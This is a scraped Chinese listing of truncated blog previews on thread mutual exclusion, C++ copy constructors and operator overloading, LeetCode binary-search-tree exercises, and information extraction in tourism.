目录 一、问题引入 二、线程互斥 1、相关概念 2、加锁保护 1、静态分配 2、动态分配 3、锁的原理 4、死锁 三、可重入与线程安全 1、概念 2、常见的线程不安全的情况 3、常见的线程安全的情况 4、常见不可重入的情况 5、常见可重入的情况 6、可重入与线程安全联系…...

C++ 拷贝构造函数和运算符重载

目录 一. 拷贝构造函数 1. 引入 2. 拷贝构造的概念 3. 浅拷贝 4. 深拷贝 二. C运算符重载 1. 概念 2. 注意事项 3.举例 一. 拷贝构造函数 1. 引入 我们在创建对象时&#xff0c;能不能创建一个与原先对象一模一样的新对象呢&#xff1f;为了解决这个问题&#x…...

二刷代码随想录算法训练营第二十三天 | 669. 修剪二叉搜索树、108.将有序数组转换为二叉搜索树、538.把二叉搜索树转换为累加树

目录 一、669. 修剪二叉搜索树 二、108. 将有序数组转换为二叉搜索树 三、538. 把二叉搜索树转换为累加树 一、669. 修剪二叉搜索树 题目链接&#xff1a;力扣 文章讲解&#xff1a;代码随想录 视频讲解&#xff1a; 你修剪的方式不对&#xff0c;我来给你纠正一下&#…...

信息抽取在旅游行业的应用:以景点信息抽取为例

开源项目推荐 今天先给大家推荐一个开源项目&#xff0c;多模态AI能力引擎平台: 免费的自然语言处理、情感分析、实体识别、图像识别与分类、OCR识别、语音识别接口&#xff0c;功能强大&#xff0c;欢迎体验。 https://gitee.com/stonedtx/free-nlp-api 场景描述 在旅游行业…...